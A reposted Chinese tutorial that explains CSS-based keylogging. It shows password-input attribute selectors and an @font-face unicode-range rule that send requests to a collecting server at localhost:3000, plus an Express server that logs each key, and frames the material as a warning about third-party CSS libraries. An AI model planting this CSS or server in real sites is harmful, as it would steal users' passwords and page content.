關於CSS記錄使用者密碼的方法

來源:互聯網
上載者:User
這篇文章主要介紹了CSS 記錄使用者密碼的方法的相關資料,小編覺得挺不錯的,現在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧

簡單的CSS代碼,甚至不符合圖靈完備的語言,但是也能成為一些攻擊者的工具,下面簡單介紹一下如何使用CSS去記錄使用者的密碼。但是這些CSS指令碼會出現在第三方CSS庫中,所以使用第三方CSS庫也需要謹慎,確保代碼安全。直接上代碼解析:

input[type="password"][value$="0"] {     background-image: url("http://localhost:3000/0"); }input[type="password"][value$="1"] {     background-image: url("http://localhost:3000/1"); }input[type="password"][value$="2"] {     background-image: url("http://localhost:3000/2"); }

以上是部分代碼,我們來解析一下CSS代碼

input[type="password"]是css選取器,作用是選擇密碼輸入框, [value$="0"]表示匹配輸入的值是以0結尾的。所以:

input[type="password"][value$="0"] {     background-image: url("http://localhost:3000/0"); }

上面代碼的意思就是如果你在密碼框中輸入0,就去請求http://localhost:3000/0介面,但是瀏覽器預設情況下是不會將使用者輸入的值儲存在value屬性中,但是有的架構會同步這些值,例如React。

所以只要使用了如的指令碼就能去儲存使用者的輸入資料資訊。

我們再來看一下伺服器端的代碼:

const express = require("express");const app = express();app.get("/:key", (req, res) => {   process.stdout.write(req.params.key);   return res.sendStatus(400);});app.listen(3000, () => console.log("啟動,監聽3000連接埠"));

使用express建立伺服器,監聽3000連接埠,只要請求http://localhost:3000/:key,就能輸出key的值,就能在伺服器上記錄輸入的值。所以只要在每輸入一個值都匹配,然後通過 background-image 去請求一個已經準備好的介面,就能記錄使用者的輸入。類似的方法記錄使用者的內容的CSS代碼@font-face {

   font-family: blah;     src: url('http://localhost:3000/a') format('woff');     unicode-range: U+85;}html {     font-family: blah, sans-serif;}

你使用的的css的簡單的字型庫,只要你的頁面中包含a,就會去請求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字元。

以上就是本文的全部內容,希望對大家的學習有所協助,更多相關內容請關注topic.alibabacloud.com!

相關文章

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.